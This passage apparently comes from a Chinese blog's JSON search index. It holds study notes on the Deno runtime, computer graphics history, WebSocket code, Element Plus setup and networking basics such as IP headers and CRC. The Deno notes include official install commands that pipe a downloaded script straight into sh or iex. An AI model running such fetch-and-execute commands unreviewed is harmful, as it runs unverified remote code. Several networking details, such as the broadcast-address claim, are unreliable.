deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot; DFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; { console.log(response) }) 运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块\ndeno install \u0026ndash;allow-net -n httpreq https://deno.land/x/dfetch/mod.ts\n卸载模块\ndeno uninstall httpreq\n格式化（支持js，ts，jsx，tsx，md，json等格式）\n格式化当前目录和子目录全部支持文件 deno fmt\n格式化指定文件 deno fmt 1.ts 2.ts\n格式化指定支持文件夹 deno fmt dist/\n检查是否已格式化 deno fmt \u0026ndash;check\n如果需要忽略格式化，只需要在文件头部设置注释// deno-fmt-ignore-file\n打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts\n编译成执行文件（支持交叉编译，支持win64，macos64，macosarm，Linux64，通过\u0026ndash;target属性指定） deno compile \u0026ndash;allow-net \u0026ndash;target aarch64-apple-darwin index.ts\n支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin\n检查依赖关系\ndeno info .\\index.ts\n如果需要查看依赖缓存位置的信息，可以直接执行deno info命令来查看\n规范检查 deno lint .\\index.ts\n检查json deno lint \u0026ndash;json\n忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file\n下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run \u0026ndash;no-remote \u0026ndash;import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））\ndeno vendor index.ts\n任务（deno.json）\n{ \u0026quot;tasks\u0026quot;: { \u0026quot;run\u0026quot;: \u0026quot;deno run --allow-net index.ts \u0026quot; } } 查看已定义任务 deno task\n执行指定任务 deno task run\n也可以指定任务的工作目录 deno task \u0026ndash;cwd .\\src run\n","permalink":"https://chenjunlinabc.github.io/posts/161/","summary":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot; DFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; { console.log(response) }) 运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块","title":"Deno js运行时环境学习笔记"},{"content":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU\n","permalink":"https://chenjunlinabc.github.io/posts/159/","summary":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU","title":"计算机图形学学习笔记"},{"content":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u0026gt;{ console.log(\u0026quot;连接中\u0026quot;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =\u0026gt;{ console.log('连接失败') } ws.onmessage = (evt) =\u0026gt;{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =\u0026gt;{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读\nWebSocket.protocol属性可以返回服务端选中的子协议名字，只读\nWebSocket.extensions属性可以返回服务端已选择的扩展值，只读\nWebSocket服务端实现（node的ws模块）\n安装ws模块\nnpm install ws\nserver.js\nconst WebSocket = require('ws') // 导入模块 const WebSocketServer = WebSocket.Server const wsmain =new WebSocketServer({ port: 8080 }) wsmain.on('connection',function(ws){ console.log('客户端已连接') ws.on('message',function(message){ console.log(`客户端发送的数据:${message}`) ws.send('欢迎连接该ws服务端') ws.send(message) }) }) node server.js\n这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据\n除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets\nnodejs-websocket搭建服务端\n安装\nnpm install nodejs-websocket\nserver.js\nconst ws = require(\u0026quot;nodejs-websocket\u0026quot;) const server = ws.createServer(function (ws) { ws.on(\u0026quot;text\u0026quot;, function (str) { console.log(str) ws.sendText('hallo word') }) ws.on(\u0026quot;close\u0026quot;, function (code, reason) { console.log(\u0026quot;客户端已经关闭连接\u0026quot;) }) }).listen(8080) app.js\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u0026gt;{ console.log(\u0026quot;连接中\u0026quot;) ws.send('hallo word') // 向服务端发送数据 const obj = { name: 'root', age: 20, pass: '123456', email: 'a@xiaochenabc123.test.com', key: 'hallo word' } const data = JSON.stringify(obj) ws.send(data) // 发送json数据 } ws.onerror = () =\u0026gt;{ console.log('连接失败') } ws.onmessage = (message) =\u0026gt;{ console.log('连接成功，正在获取数据') const isJson = (str) =\u0026gt; { try{ if(typeof JSON.parse(str) == 'object'){ return true } }catch (e){ } return false } if(isJson(message.data)){ console.log(JSON.parse(message.data)) }else{ console.log(message.data) } } ws.onclose = () =\u0026gt;{ console.log('连接已关闭') } Socket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务\n服务端\nnpm install socket.io\nserver.js\nimport { Server } from 'socket.io' const io = new Server(3000) io.on('connection', socket =\u0026gt; { console.log('已成功连接') // 服务端给客户端发送消息 console.log('正在发送消息') socket.emit('hallo','word') console.log('发送消息完成') // 服务端接收消息 socket.on('abc',(arg) =\u0026gt; { console.log(arg) }) socket.on('disconnect', () =\u0026gt; { console.log('连接已断开') }) }) 客户端\nnpm install socket.io-client\nclient.js\nimport { io } from 'socket.io-client' // const socket = io() const socket = io('ws://127.0.0.1:3000') // 客户端接收消息 socket.on('hallo',(arg) =\u0026gt;{ console.log(arg) }) socket.emit('abc','xyz') ","permalink":"https://chenjunlinabc.github.io/posts/158/","summary":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u0026gt;{ console.log(\u0026quot;连接中\u0026quot;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =\u0026gt;{ console.log('连接失败') } ws.onmessage = (evt) =\u0026gt;{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =\u0026gt;{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读","title":"WebSocket学习笔记"},{"content":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt; \u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ElButton } from 'element-plus' export default { components: { ElButton }, } \u0026lt;/script\u0026gt; ","permalink":"https://chenjunlinabc.github.io/posts/157/","summary":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt; \u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ElButton } from 'element-plus' export default { components: { ElButton }, } \u0026lt;/script\u0026gt; ","title":"简单使用Element Plus组件库"},{"content":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址\nIP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等\nIP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必须一致（否则无法通信），例如版本4（v4），版本6（v6）\nIP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），154就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，54，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样\n首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节\n因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）\nIP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节\n当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU\nIP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看\nIP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了\nIP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don\u0026rsquo;t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息\nIP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数\n生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源\n协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP\n首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃\nIP源地址，占32位，表示发送该IP数据报的机器的IP地址\nIP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址\nIP协议转发过程（逐跳（hop-by-hop））\nMAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧\nIP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表\nIP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表\n可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）\n网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2\n逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止\n数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化\nARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）\nARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性\nwindows操作系统可通过arp -a命令查看本机的ARP缓存表\nARP协议报文是直接对数据链路层的数据帧进行封装的\nARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成\n其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成\nRARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的\nIP地址的子网划分\nIP地址分类，将32位分成网络号，主机号\nA类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255\nB类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255\nC类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255\n特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的\n特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1\nB类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1\n上面特殊的都是不可使用或者无法分配的\n区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址\n127.0.0.1本地回环地址（Loopback 